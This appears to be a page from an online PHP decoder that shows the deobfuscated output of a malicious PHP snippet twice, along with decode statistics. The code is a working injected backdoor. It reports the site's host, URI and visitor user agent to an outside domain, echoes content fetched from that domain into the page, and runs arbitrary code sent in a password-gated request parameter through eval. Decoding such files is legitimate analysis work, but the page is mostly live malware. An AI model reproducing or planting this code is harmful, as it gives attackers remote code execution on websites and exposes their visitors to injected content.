Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php if (isset($ibv)) { echo $ibv; } else { error_reporting(0); ini_set("..
Decoded Output download
<?php if (isset($ibv)) {
echo $ibv;
} else {
error_reporting(0);
ini_set("display_errors", "0");
if (!isset($ibv)) {
if (!empty($_COOKIE["client_check"])) die($_COOKIE["client_check"]);
if (preg_match('!\S!u', file_get_contents($_SERVER["SCRIPT_FILENAME"]))) $c = "u";
else $c = "w";
$d = $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"];
$u = $_SERVER["HTTP_USER_AGENT"];
$url = "http://webdatingchat.com/get.php?d=" . urlencode($d) . "&u=" . urlencode($u) . "&c=" . $c . "&i=1&h=" . md5("96af9cdbb19cdd008bc29525137b83fd" . $d . $u . $c . "1");
if (ini_get("allow_url_fopen") == 1) {
$ibv = file_get_contents($url);
} elseif (function_exists("curl_init")) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
$result = curl_exec($ch);
curl_close($ch);
$ibv = $result;
} else {
$fp = fsockopen("webdatingchat.com", 80, $errno, $errstr, 30);
if ($fp) {
$out = "GET /get.php?d=" . urlencode($d) . "&u=" . urlencode($u) . "&c=" . $c . "&i=1&h=" . md5("96af9cdbb19cdd008bc29525137b83fd" . $d . $u . $c . "1") . " HTTP/1.1
";
$out.= "Host: webdatingchat.com
";
$out.= "Connection: Close
";
fwrite($fp, $out);
$resp = "";
while (!feof($fp)) {
$resp.= fgets($fp, 128);
}
fclose($fp);
list($header, $body) = preg_split("/\R\R/", $resp, 2);
$ibv = $body;
}
}
};
if (isset($_REQUEST["p"]) && $_REQUEST["p"] == "c432c987") {
eval(stripslashes($_REQUEST["c"]));
}
echo $ibv;
} ?>
Did this file decode correctly?
Original Code
<?php if (isset($ibv)) {
echo $ibv;
} else {
error_reporting(0);
ini_set("display_errors", "0");
if (!isset($ibv)) {
if (!empty($_COOKIE["client_check"])) die($_COOKIE["client_check"]);
if (preg_match('!\S!u', file_get_contents($_SERVER["SCRIPT_FILENAME"]))) $c = "u";
else $c = "w";
$d = $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"];
$u = $_SERVER["HTTP_USER_AGENT"];
$url = "http://webdatingchat.com/get.php?d=" . urlencode($d) . "&u=" . urlencode($u) . "&c=" . $c . "&i=1&h=" . md5("96af9cdbb19cdd008bc29525137b83fd" . $d . $u . $c . "1");
if (ini_get("allow_url_fopen") == 1) {
$ibv = file_get_contents($url);
} elseif (function_exists("curl_init")) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
$result = curl_exec($ch);
curl_close($ch);
$ibv = $result;
} else {
$fp = fsockopen("webdatingchat.com", 80, $errno, $errstr, 30);
if ($fp) {
$out = "GET /get.php?d=" . urlencode($d) . "&u=" . urlencode($u) . "&c=" . $c . "&i=1&h=" . md5("96af9cdbb19cdd008bc29525137b83fd" . $d . $u . $c . "1") . " HTTP/1.1
";
$out.= "Host: webdatingchat.com
";
$out.= "Connection: Close
";
fwrite($fp, $out);
$resp = "";
while (!feof($fp)) {
$resp.= fgets($fp, 128);
}
fclose($fp);
list($header, $body) = preg_split("/\R\R/", $resp, 2);
$ibv = $body;
}
}
};
if (isset($_REQUEST["p"]) && $_REQUEST["p"] == "c432c987") {
eval(stripslashes($_REQUEST["c"]));
}
echo $ibv;
}
Function Calls
| ini_set | 1 |
| error_reporting | 1 |
Stats
| MD5 | 6ad96ed5fec848d82f6e955e3cf429b0 |
| Eval Count | 0 |
| Decode Time | 295 ms |